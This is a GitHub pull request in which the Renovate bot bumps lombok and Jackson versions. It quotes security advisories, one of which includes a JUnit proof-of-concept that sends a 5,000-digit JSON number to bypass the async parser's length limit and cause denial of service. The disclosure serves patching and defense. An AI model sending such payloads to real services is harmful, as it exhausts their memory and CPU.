Skip to content

Update all non-major maven dependencies#19

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/all-maven-minor-patch
Open

Update all non-major maven dependencies#19
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/all-maven-minor-patch

Conversation

@renovate
Copy link

@renovate renovate bot commented Oct 11, 2023

This PR contains the following updates:

Package Change Age Confidence
org.projectlombok:lombok (source) 1.18.221.18.42 age confidence
com.fasterxml.jackson.core:jackson-core 2.13.12.18.6 age confidence
com.fasterxml.jackson.core:jackson-databind (source) 2.13.12.13.4.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-52999

Impact

With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large.

Patches

jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached.
jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.

Workarounds

Users should avoid parsing input files from untrusted sources.

GHSA-72hv-8253-57qq

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

  • The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
  • After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
  • The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
  • Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @​Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
		
		// Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @​Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:

  1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
  2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

CVE-2022-42004

In FasterXML jackson-databind before 2.12.7.1 and in 2.13.x before 2.13.4, resource exhaustion can occur because of a lack of a check in BeanDeserializer._deserializeFromArray to prevent use of deeply nested arrays. This issue can only happen when the UNWRAP_SINGLE_VALUE_ARRAYS feature is explicitly enabled.

CVE-2022-42003

In FasterXML jackson-databind 2.4.0-rc1 until 2.12.7.1 and in 2.13.x before 2.13.4.2 resource exhaustion can occur because of a lack of a check in primitive value deserializers to avoid deep wrapper array nesting, when the UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled. This was patched in 2.12.7.1, 2.13.4.2, and 2.14.0.

Commits that introduced vulnerable code are
FasterXML/jackson-databind@d499f2e, FasterXML/jackson-databind@0e37a39, and FasterXML/jackson-databind@7ba9ac5.

Fix commits are FasterXML/jackson-databind@cd09097 and FasterXML/jackson-databind@d78d00e.

The 2.13.4.1 release does fix this issue, however it also references a non-existent jackson-bom which causes build failures for gradle users. See https://github.com/FasterXML/jackson-databind/issues/3627#issuecomment-1277957548 for details. This is fixed in 2.13.4.2 which is listed in the advisory metadata so that users are not subjected to unnecessary build failures


Release Notes

projectlombok/lombok (org.projectlombok:lombok)

v1.18.42

v1.18.40

v1.18.38

Compare Source

v1.18.36

Compare Source

v1.18.34

Compare Source

v1.18.32

Compare Source

v1.18.30

Compare Source

v1.18.28

Compare Source

v1.18.26

Compare Source

v1.18.24

Compare Source


Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov
Copy link

codecov bot commented Oct 11, 2023

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 47.82%. Comparing base (63b2055) to head (a535db4).

Current head a535db4 differs from pull request most recent head 21cfa26

Please upload reports for the commit 21cfa26 to get more accurate results.

Additional details and impacted files
@@            Coverage Diff            @@
##             master      #19   +/-   ##
=========================================
  Coverage     47.82%   47.82%           
  Complexity       38       38           
=========================================
  Files            15       15           
  Lines           230      230           
  Branches          2        2           
=========================================
  Hits            110      110           
  Misses          117      117           
  Partials          3        3           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from afc7fcb to 06a6799 Compare October 13, 2023 02:00
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 06a6799 to 60631e3 Compare November 16, 2023 00:38
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 60631e3 to d676a73 Compare December 24, 2023 07:19
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch 2 times, most recently from 5d9810f to a066baf Compare March 12, 2024 22:00
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from a066baf to a535db4 Compare March 20, 2024 04:36
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from a535db4 to a1afcd1 Compare May 5, 2024 03:43
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from a1afcd1 to 21cfa26 Compare June 28, 2024 03:59
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 21cfa26 to 843e27a Compare July 5, 2024 18:20
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 843e27a to a10809e Compare September 27, 2024 04:07
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from a10809e to 377cee5 Compare October 29, 2024 01:26
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 377cee5 to a9c884b Compare November 15, 2024 20:02
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from a9c884b to 133e818 Compare November 28, 2024 21:22
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 133e818 to b95f03a Compare January 23, 2025 18:03
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from b95f03a to 5c1e6f4 Compare March 31, 2025 16:11
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 5c1e6f4 to 64a4600 Compare September 6, 2025 16:01
@renovate renovate bot force-pushed the renovate/all-maven-minor-patch branch from 64a4600 to 05e8a33 Compare September 18, 2025 02:58
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants